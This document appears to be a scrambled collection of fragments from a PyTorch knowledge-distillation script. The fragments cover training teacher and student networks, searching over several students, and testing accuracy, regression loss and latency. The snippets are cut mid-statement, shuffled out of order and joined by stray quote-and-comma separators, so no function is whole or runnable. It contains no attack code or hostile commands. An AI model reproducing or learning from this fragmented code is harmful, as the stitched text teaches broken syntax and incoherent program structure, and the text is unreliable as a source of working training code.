sys.maxsize model_best = None model =", "test_loss < loss_best: loss_best = test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best,", "\", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset)", "= criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1 for j", "best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs", "model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_,", "model.eval() loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'):", "torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion == 'CE': targets = targets.to(opt.device) for j", "lr_schedule == 'linear': scheduler.step() loss_total += loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx),", "n = len(students_) loss_best = [sys.maxsize] * n students_best = [None] * n", "from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device))", "miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 * correct / total return acc, miss", "nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias, 0) elif isinstance(module,", "lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule", "acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model,", "model.train() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader):", "= model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() acc", "n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or", "= model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs,", "= optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp =", "% (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best:", "= torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for j in range(n): students[j] =", "= 0 best_train_acc = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion =", "lr=lr, weight_decay=weight_decay) scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) for i in range(1, epochs +", "in range(1, epochs + 1): print('epoch',i) model.train() #if lr_schedule == 'step': # scheduler.step()", "enumerate(train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) _, predicted =", "+= loss.item() batch_cnt += 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total / batch_cnt, i) acc", "n_total_exp = epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler", "= 100.0 * correct / total return acc, miss def test_model_latency(model, dataset): model.eval()", "targets = targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0)", "== 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs) elif loss_criterion ==", "train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs", "weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion", "targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion1(outputs, targets) loss2 =", "criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs, targets) loss = loss1+loss2 elif loss_criterion == 'CE':", "as np def init_model(model): for module in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out',", "test_model_latency(model, dataset): model.eval() loader = None if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif", "= model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt +=", "elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step':", "weight_decay=5e-4): acc_best = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss()", "in range(1, epochs + 1): model.train() #if lr_schedule == 'step': # scheduler.step() loss_total", "optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize]", "= inputs.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs =", "criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1 for j in", "hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise", "dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc", "loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizers = [optim.SGD(students[j].parameters(),", "(idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc > acc_best: acc_best", "save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best", "acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_regression(model_, dataset, save_path,", "print('test loss: ',test_loss) if test_loss < loss_best: loss_best = test_loss model.module.loss = test_loss", "0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(train_loader): inputs = inputs.to(opt.device)", "weight_decay=weight_decay) elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule ==", "optimizer.zero_grad() outputs = model(inputs) #i_, predicted = outputs.max(1) #total += targets.size(0) #correct +=", "teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for j in range(n): students[j]", "best_train_acc = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() if", "model(inputs) _, predicted = outputs.max(1) total += targets.size(0) equal_v = predicted.eq(targets) correct +=", "optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif", "* n batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs =", "hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') train_loader = dataset.train_loader train_correct", "correct / total return acc def test_model_regression(model, dataset): model.eval() loader = None loss_total", "= dataset.val_loader else: raise NotImplementedError('Unknown dataset!') latency = [] with torch.no_grad(): for batch_idx,", "optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs) loss", "model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_,", "#print(equal_v for i in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc =", "'step': # scheduler.step() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets)", "weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize] * n students_best =", "if acc > acc_best: acc_best = acc model.module.acc = acc model_best = model.module", "= model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx,", "student_outputs = students[j](inputs) if loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 =", "= students[j](inputs) if loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs) loss2 = criterion(student_outputs,", "0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer = optim.Adam(model.parameters(),", "test_model(students[j], dataset) #print(\"acc\"+str(j)+\": \", acc) opt.writer.add_scalar('step_%d/sample_%d_acc' % (opt.i, j), acc, i) if acc", "epochs + 1): print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train() loss_total = [0.0]", "[None] * n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion ==", "/ total return loss_total/batch_cnt def test_model_image(model, dataset): model.eval() correct = 0 total =", "train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_)", "momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0 model_best = None", "train_batch_cnt += 1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad():", "outputs = model(inputs) loss = criterion(outputs,targets) loss_total+=loss.item() batch_cnt += 1 #_, predicted =", "None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion = nn.MSELoss() if optimization ==", "= 0 criterion = nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset,", "j in range(n)] for i in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for", "for j in range(n): students[j].train() loss_total = [0.0] * n batch_cnt = 0", "schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss = criterion(student_outputs,", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs,", "train_total #print(\"train acc:\", train_acc) #if train_acc > best_train_acc: # best_train_acc = train_acc #", "= train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with torch.no_grad(): for batch_idx, (inputs, targets)", "loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total += loss.item() batch_cnt +=", "set() with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets", "import torch.backends.cudnn as cudnn import options as opt import os import time import", "torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion1 = nn.CrossEntropyLoss() criterion2 = nn.MSELoss() if optimization ==", "== 'KD': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if", "acc_best = acc model.module.acc = acc model_best = model.module torch.save(model_best, save_path) return model_best,", "return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule,", "+= 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss", "lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lr_lambda) if from_scratch:", "enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) _, predicted", "100.0 * train_correct / train_total #print(\"train acc:\", train_acc) #if train_acc > best_train_acc: #", "targets) loss2 = criterion(outputs, teacher_outputs) loss = loss1 + loss2 loss.backward() optimizer.step() #if", "optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)", "range(n)] elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay) for j in", "students_best = [None] * n teacher = torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n", "for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt, i) acc", "dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total", "epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion): n = len(students_) loss_best = [sys.maxsize] *", "'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader)) train_loader", "print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best: acc_best = acc model.module.acc", "lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda =", "targets.to(opt.device) for j in range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs", "batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1", "== 'linear': loss_total += loss.item() batch_cnt += 1 #print(\"train acc: \", 100*correct/total) scheduler.step()", "model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_search(teacher_,", "'step': # scheduler.step() loss_total = 0 #batch_cnt = 0 for batch_idx, (inputs, targets)", "not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 * correct / total return", "'SGD': optimizers = [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif optimization", "optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif", "lr_lambda=lr_lambda) for j in range(n)] for i in range(1, epochs + 1): print(\"epochs:\",i)", "gamma=0.1) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader) n_total_exp = epochs * batch_cnt", "inputs = inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None", "weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0 model_best = None model", "1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss =", "loss_total+=loss.item() batch_cnt += 1 #_, predicted = outputs.max(1) #total += targets.size(0) #correct +=", "enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs =", "train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train", "for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device) start_time", "= loss1 + loss2 loss.backward() optimizer.step() #if lr_schedule == 'linear': scheduler.step() loss_total +=", "for j in range(n)] elif optimization == 'Adam': optimizers = [optim.Adam(students[j].parameters(), lr=lr, weight_decay=weight_decay)", "'step': # scheduler.step() loss_total = 0 batch_cnt = 0 correct = 0 total", "model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs,", "= inputs.to(opt.device) targets = targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with", "acc = 100.0 * correct / total return acc def test_model_regression(model, dataset): model.eval()", "0 #batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None", "batch_cnt = 0 correct = 0 total = 0 for batch_idx, (inputs, targets)", "optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss1 = criterion(student_outputs, teacher_outputs)", "loss_criterion == 'CE': loss = criterion(student_outputs, targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt", "(idx), loss_total/batch_cnt , i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i)", "targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct +=", "dataset): model.eval() correct = 0 total = 0 loader = None if hasattr(dataset,", "n_total_exp = epochs * batch_cnt lr_lambda = lambda n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers", "lr_lambda=lr_lambda) if from_scratch: init_model(model) for i in range(1, epochs + 1): model.train() #if", "if from_scratch: init_model(model) for i in range(1, epochs + 1): print('epoch',i) model.train() #if", "for j in range(n): if lr_schedule == 'linear': schedulers[j].step() optimizers[j].zero_grad() #print(students[j]) student_outputs =", "% (idx), acc, i) print('loss: ', loss_total/batch_cnt) print('acc: ',acc) if acc > acc_best:", "+= loss.item() batch_cnt += 1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx),", "model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt = 0", "= [] with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(loader): inputs = inputs.to(opt.device)", "0 train_total = 0 best_train_acc = 0 #print(len(loader)) with torch.no_grad(): for batch_idx, (inputs,", "optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1 #print(\"train acc:", "criterion = nn.CrossEntropyLoss() if optimization == 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay)", "n_exp_seen: 1 - n_exp_seen/n_total_exp schedulers = [optim.lr_scheduler.LambdaLR(optimizers[j], lr_lambda=lr_lambda) for j in range(n)] for", "loss_total = 0 #batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs", "predicted = outputs.max(1) train_total += targets.size(0) train_correct += predicted.eq(targets).sum().item() train_acc = 100.0 *", "time.time() - start_time latency.append(time_taken * 1000) lat = np.mean(latency) return lat def train_model_teacher(model_,", "loss.item() batch_cnt += 1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total/batch_cnt", "train_model_student(model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs, lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best =", "j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] / batch_cnt, i) acc =", "start_time = time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time() - start_time latency.append(time_taken", "from_scratch=opt.tr_fu_from_scratch): acc_best = 0 best_train_acc = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device))", "inputs.to(opt.device) targets = targets.to(opt.device) outputs = model(inputs) train_loss = criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt +=", "i) model.train() loss_total = 0 batch_cnt = 0 for batch_idx, (inputs, targets) in", "acc def test_model_regression(model, dataset): model.eval() loader = None loss_total = 0 batch_cnt =", "in equal_v: if not i: miss.add(inputs[j]) #print(inputs[j]) j+=1 acc = 100.0 * correct", "= dataset.train_loader #print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt = 0 #print(len(loader))", "torch.save(model_best, 'temp_save/temp.pth') #if train_acc == 100: # torch.save(model.mudule, 'temp_save/base.pth') with torch.no_grad(): for batch_idx,", "100.0 * correct / total return acc, miss def test_model_latency(model, dataset): model.eval() loader", "i) if acc > accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module return students_best,", "criterion(outputs,targets) train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg)", "* train_correct / train_total #print(\"train acc:\", train_acc) #if train_acc > best_train_acc: # best_train_acc", "acc_best = 0 best_train_acc = 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion", "opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) #print('loss: ', loss_total/batch_cnt) #print('acc: ',acc) if acc >", "#print(len(loader)) train_loader = dataset.train_loader train_loss_total = 0 train_batch_cnt = 0 #print(len(loader)) with torch.no_grad():", "train_loss_total+=train_loss.item() train_batch_cnt += 1 train_loss_avg = train_loss_total / train_batch_cnt print(\"train loss:\", train_loss_avg) with", "0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) targets = targets.to(opt.device)", "in model.modules(): if isinstance(module, nn.Conv2d): nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not None:", "torch.nn.DataParallel(students_[j].to(opt.device)) if loss_criterion == 'KD' or loss_criterion == 'l2': criterion = nn.MSELoss() elif", "accs_best[j] = acc students_best[j] = students[j].module return students_best, accs_best def train_model_search_reg(teacher_, students_, dataset,", "cudnn import options as opt import os import time import sys import numpy", "miss def test_model_latency(model, dataset): model.eval() loader = None if hasattr(dataset, 'test_loader'): loader =", "students_best, accs_best def train_model_search_reg(teacher_, students_, dataset, optimization=opt.tr_se_optimization, epochs=opt.tr_se_epochs, lr=opt.tr_se_lr, momentum=opt.tr_se_momentum, weight_decay=opt.tr_se_weight_decay, lr_schedule=opt.tr_se_lr_schedule, loss_criterion=opt.tr_se_loss_criterion):", "hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader #print(len(loader))", "= outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0 * correct", "+= loss.item() batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j),", "loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) teacher = torch.nn.DataParallel(teacher_.to(opt.device)) criterion", "#if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt = 0 correct", "#batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with", "loss_total += loss.item() batch_cnt += 1 #print(\"train acc: \", 100*correct/total) scheduler.step() opt.writer.add_scalar('training_%d/loss' %", "= 0 model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.CrossEntropyLoss() optimizer =", "== 'SGD': optimizer = optim.SGD(model.parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) elif optimization == 'Adam': optimizer", "targets) loss.backward() optimizer.step() loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training/loss', loss_total /", "i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('train loss: ',", "#total += targets.size(0) #correct += predicted.eq(targets).sum().item() loss = criterion(outputs, targets) loss.backward() optimizer.step() #if", "for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): inputs = inputs.to(opt.device) if loss_criterion == 'KD':", "from_scratch=opt.tr_fu_from_scratch): loss_best = sys.maxsize model_best = None model = torch.nn.DataParallel(model_.to(opt.device)) criterion = nn.MSELoss()", "targets = targets.to(opt.device) start_time = time.time() outputs = model(inputs) torch.cuda.synchronize() time_taken = time.time()", "lr_schedule == 'step': # scheduler.step() loss_total = 0 #batch_cnt = 0 for batch_idx,", "if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=20, gamma=0.2) elif lr_schedule == 'linear':", "== 'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.4) elif lr_schedule == 'linear': batch_cnt =", "torch.nn.DataParallel(teacher_.to(opt.device)) students = [None] * n for j in range(n): students[j] = torch.nn.DataParallel(students_[j].to(opt.device))", "model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization,", "loss_criterion == 'CE': targets = targets.to(opt.device) for j in range(n): if lr_schedule ==", "= [optim.SGD(students[j].parameters(), lr=lr, momentum=momentum, weight_decay=weight_decay) for j in range(n)] elif optimization == 'Adam':", "targets.to(opt.device) outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) equal_v =", "'step': scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.1) elif lr_schedule == 'linear': batch_cnt = len(dataset.train_loader)", "torch.save(model_best, save_path) return model_best, acc_best def train_model_student_kd_reg(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization, epochs=opt.tr_fu_epochs,", "> accs_best[j]: accs_best[j] = acc students_best[j] = students[j].module return students_best, accs_best def train_model_search_reg(teacher_,", "/ total return acc def test_model_regression(model, dataset): model.eval() loader = None loss_total =", "targets) loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt += 1", "i) acc = test_model(model, dataset) opt.writer.add_scalar('training_%d/acc' % (idx), acc, i) print('loss: ', loss_total/batch_cnt)", "+= targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0 * correct / total return", "== 'l2': criterion = nn.MSELoss() elif loss_criterion == 'CE': criterion = nn.CrossEntropyLoss() if", "'linear': loss_total += loss.item() batch_cnt += 1 scheduler.step() opt.writer.add_scalar('training_%d/loss' % (idx), loss_total /", "acc model_best = model.module torch.save(model_best, save_path) return model_best, acc_best def train_model_student(model_, dataset, save_path,", "import options as opt import os import time import sys import numpy as", "lr=opt.tr_fu_lr, momentum=opt.tr_fu_momentum, weight_decay=opt.tr_fu_weight_decay, lr_schedule=opt.tr_fu_lr_schedule, from_scratch=opt.tr_fu_from_scratch): acc_best = 0 model_best = None model =", "optimizers[j].zero_grad() #print(students[j]) student_outputs = students[j](inputs) if loss_criterion == 'KD': loss = criterion(student_outputs, teacher_outputs)", "loss = criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item()", "= dataset.train_loader train_correct = 0 train_total = 0 best_train_acc = 0 #print(len(loader)) with", "targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() loss_total +=", "', loss_total/batch_cnt) print('test loss: ',test_loss) if test_loss < loss_best: loss_best = test_loss model.module.loss", "+= 1 opt.writer.add_scalar('training_%d/loss' % (idx), loss_total, i) test_loss = test_model_regression(model, dataset) #opt.writer.add_scalar('training_%d/acc' %", "batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs = None with torch.no_grad(): teacher_outputs = teacher(inputs)", "elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader else: raise NotImplementedError('Unknown dataset!') #loader = dataset.train_loader", "= criterion(outputs, targets) loss.backward() optimizer.step() #if lr_schedule == 'linear': loss_total += loss.item() batch_cnt", "'Adam': optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay) if lr_schedule == 'step': scheduler = optim.lr_scheduler.StepLR(optimizer,", "for i in range(1, epochs + 1): print('epoch',i) model.train() #if lr_schedule == 'step':", "model.module torch.save(model_best, save_path) return model_best, loss_best def train_model_student_kd(teacher_, model_, dataset, save_path, idx, optimization=opt.tr_fu_optimization,", "test_loss model.module.loss = test_loss model_best = model.module torch.save(model_best, save_path) return model_best, loss_best def", "as cudnn import options as opt import os import time import sys import", "train_loader = dataset.train_loader train_correct = 0 train_total = 0 best_train_acc = 0 #print(len(loader))", "nn.MSELoss() if hasattr(dataset, 'test_loader'): loader = dataset.test_loader elif hasattr(dataset, 'val_loader'): loader = dataset.val_loader", "targets.size(0) correct += predicted.eq(targets).sum().item() acc = 100.0 * correct / total return acc", "targets) loss.backward() optimizers[j].step() loss_total[j] += loss.item() batch_cnt += 1 for j in range(n):", "targets.to(opt.device) optimizer.zero_grad() outputs = model(inputs) loss1 = criterion(outputs, targets) loss2 = criterion(outputs, teacher_outputs)", "targets = targets.to(opt.device) if loss_criterion == 'KD': teacher_outputs = None with torch.no_grad(): teacher_outputs", "i in range(1, epochs + 1): print(\"epochs:\",i) teacher.eval() for j in range(n): students[j].train()", "targets.size(0) equal_v = predicted.eq(targets) correct += equal_v.sum().item() j = 0 #print(equal_v for i", "batch_cnt += 1 for j in range(n): opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j] /", "= 0 #batch_cnt = 0 for batch_idx, (inputs, targets) in enumerate(dataset.train_loader): teacher_outputs =", "nn.init.kaiming_normal_(module.weight, mode='fan_out', nonlinearity='relu') if module.bias is not None: nn.init.constant_(module.bias, 0) elif isinstance(module, nn.BatchNorm2d):", "1): print('epoch',i) model.train() #if lr_schedule == 'step': # scheduler.step() loss_total = 0 batch_cnt", "opt.writer.add_scalar('step_%d/sample_%d_loss' % (opt.i, j), loss_total[j], i) test_loss = test_model_regression(students[j], dataset) #print(\"loss\"+str(j)+\": \", 